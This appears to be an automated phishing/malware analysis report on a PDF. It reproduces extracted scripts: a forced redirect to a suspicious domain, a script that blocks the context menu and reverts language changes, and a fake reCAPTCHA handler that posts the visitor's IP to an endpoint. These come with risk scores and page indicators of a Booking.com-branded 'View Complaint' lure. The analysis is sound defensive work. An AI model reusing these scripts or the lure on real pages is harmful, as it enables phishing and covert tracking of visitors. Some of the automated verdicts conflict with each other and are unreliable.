Windows Analysis Report
P4906RXNYH.pdf

{
  "risk_score": 1,
  "reasoning": [
    "No headers provided to analyze",
    "Cannot make security assessment without header information",
    "Default to low risk score due to lack of evidence"
  ]
}

Date: unknown

{
    "risk_score": 9,
    "reasoning": "This script demonstrates high-risk behavior, including dynamic code execution and data exfiltration. It attempts to redirect the user to an untrusted domain, which is a strong indicator of malicious intent."
}

function sleep(ms) { return new Promise(resolve => setTimeout(resolve, ms)); } async function process() { await sleep(0); if (window.location !== window.parent.location ) { top.location = "http://clintonmakes.com/215c/"; } else { window.location = "http://clintonmakes.com/215c/"; } } a361721= 46; window.onerror = process; process();

{
    "risk_score": 4,
    "reasoning": "The script demonstrates some potentially concerning behaviors, such as preventing the default context menu and disabling keyboard shortcuts for changing the language. While these actions could be part of a legitimate feature, they may also indicate an attempt to restrict user control or prevent certain actions. Additionally, the use of a mutation observer to revert language changes could be an attempt to override user preferences. Overall, the script requires further review to determine the intent and potential impact."
}

(function() {
    function revertLanguageChange() {
        if (document.documentElement.lang !== originalLang) {
            document.documentElement.lang = originalLang;
        }
    }

    const originalLang = document.documentElement.lang;

    const observer = new MutationObserver(revertLanguageChange);
    observer.observe(document.documentElement, { attributes: true, attributeFilter: ['lang'] });

    document.addEventListener('contextmenu', function(event) {
        event.preventDefault();
    }, false);

    document.addEventListener('keydown', function(event) {
        if ((event.ctrlKey || event.metaKey) && event.shiftKey && event.key.toLowerCase() === 'l') {
            event.preventDefault();
        }
        if (event.altKey && event.shiftKey && event.key.toLowerCase() === 'l') {
            event.preventDefault();
        }
    }, false);
})();

{
    "risk_score": 4,
    "reasoning": "The script has a moderate-risk indicator for external data transmission, as it sends the user's IP address to the '/send-ip' endpoint without any transparency or explanation. While this behavior may have a legitimate purpose, such as reCAPTCHA verification, the lack of context and potential privacy implications warrant further review."
}

document.addEventListener('DOMContentLoaded', function() {
    const recaptchaCheckbox = document.querySelector('.recaptcha-checkbox');
    if (recaptchaCheckbox) {
        recaptchaCheckbox.addEventListener('click', function() {
            //  IP-  
            fetch('/send-ip', {
                method: 'POST'
            }).then(response => {
                if (response.ok) {
                    console.log('');
                } else {
                    console.error('');
                }
            });
        });
    }
}); 

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false,
    "reasoning": "This appears to be a straightforward domain name using a common TLD (.com). While it contains a political name 'clinton', there's no immediate indication of brand spoofing or malicious intent. The structure is simple without any suspicious elements."
}

URL: http://clintonmakes.com

{
  "contains_trigger_text": true,
  "trigger_text": "View Complaint",
  "prominent_button_name": "View Complaint",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": true,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false,
  "page_classification": "unknown"
}

{
  "brands": [
    "Booking.com"
  ]
}